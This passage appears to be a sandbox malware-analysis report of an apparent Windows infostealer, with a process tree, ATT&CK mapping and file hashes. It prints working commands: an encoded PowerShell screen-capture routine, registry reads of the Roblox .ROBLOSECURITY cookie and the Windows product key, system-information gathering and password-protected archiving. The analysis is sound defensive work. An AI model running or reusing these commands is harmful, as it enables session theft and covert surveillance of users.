    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1212
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jpupxxbd\jpupxxbd.cmdline"
        5⤵
        
        PID:5416
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7615.tmp" "c:\Users\Admin\AppData\Local\Temp\jpupxxbd\CSCB6CC7F2221774D989F96AF446E3A13B3.TMP"
        6⤵
        
        PID:5492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4772
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5140
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5148
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5324
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:5344
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5524
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5560
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5688
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:5944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:6128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:5260
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:5204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI25122\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\c1G0W.zip" *"
    3⤵
    PID:2380
  - - C:\Users\Admin\AppData\Local\Temp\_MEI25122\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI25122\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\c1G0W.zip" *
      4⤵
      Executes dropped EXE
      PID:640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3748
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:5108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:5460
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:5548
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2740
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:5732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1416

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\‎ ‍‎ ‍\Display (1).png" /ForceBootstrapPaint3D
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:6096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s DsSvc
1⤵
- Drops file in System32 directory
PID:6036

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5124

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:5256
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:5164
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2000 -parentBuildID 20240401114208 -prefsHandle 1928 -prefMapHandle 1920 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b475e55-0a7b-4af9-ad28-7af871e38f1e} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" gpu
    3⤵
    PID:5484
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2400 -prefsLen 23716 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8fa10b57-3e56-49f9-ba8a-4795ea01ed39} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" socket
    3⤵
    PID:5456
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3128 -childID 1 -isForBrowser -prefsHandle 3076 -prefMapHandle 3096 -prefsLen 23857 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4b8110ba-11d9-47cb-9acc-c40438679056} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:5644
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3996 -childID 2 -isForBrowser -prefsHandle 4008 -prefMapHandle 4004 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {892b9453-c9b4-430c-ade3-ff4a08100153} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:3260
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4916 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4728 -prefMapHandle 4892 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6c488da-c1c8-48ff-a978-209f149e4da3} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" utility
    3⤵
    - Checks processor information in registry
    PID:3388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5436 -childID 3 -isForBrowser -prefsHandle 5428 -prefMapHandle 5424 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f38d971a-fb2b-4848-8c44-a48d113c4f01} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:4848
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5556 -childID 4 -isForBrowser -prefsHandle 5564 -prefMapHandle 5568 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5e3a895-749d-4b29-a695-19a11099c820} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:552
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5748 -childID 5 -isForBrowser -prefsHandle 5756 -prefMapHandle 5760 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7565e9f0-cb43-49ce-961f-b25abad2001c} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:6076
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6120 -childID 6 -isForBrowser -prefsHandle 6128 -prefMapHandle 6124 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1268 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a244917f-1d58-41f5-b477-94430e6ad19e} 5164 "\\.\pipe\gecko-crash-server-pipe.5164" tab
    3⤵
    PID:2228

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" a -i#7zMap499:196:7zEvent7928 -ad -saa -- "C:\Users\Admin\Desktop\Desktop"
1⤵
- Suspicious use of FindShellTrayWindow
PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
60945d1a2e48da37d4ce8d9c56b6845a

SHA1
83e80a6acbeb44b68b0da00b139471f428a9d6c1

SHA256
314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3

SHA512
5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
17853c2782a29bae7aa9d733f585dc93

SHA1
4b5a105eadf3378b71e11591cbe6646aa4237d95

SHA256
c84fb8d554d8062ce96ae09bd06a22e12777c6646b205fe561f1e6d717c7dfc4

SHA512
b056c127a2966bf1b44281b111eaf2f85ef57ff15186c2013ceafef620f21d20c1c251d5b672790bd00be46270c69f07943577d79489b4c5393d320568e3de42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\lhmx4teg.default-release\activity-stream.discovery_stream.json

Filesize
19KB

MD5
7cae09625089d243ebd76d0b27e4e047

SHA1
e258a53e81e619701b217b2ff28a8923a8c9a954

SHA256
89376307a7bd1d26adf63300d9e82d72862ff2d9d45e74c8258f42ea0e803fab

SHA512
6d50df079b7b09694eb6ee20c3be4eb615c9035b9b8afdd5f073ba378ddddafd81585fae9c1c54e6ae1344e30f4ddc70d5c85b732b7c0e3dd3d42e0f994ec1ba

Download Submit
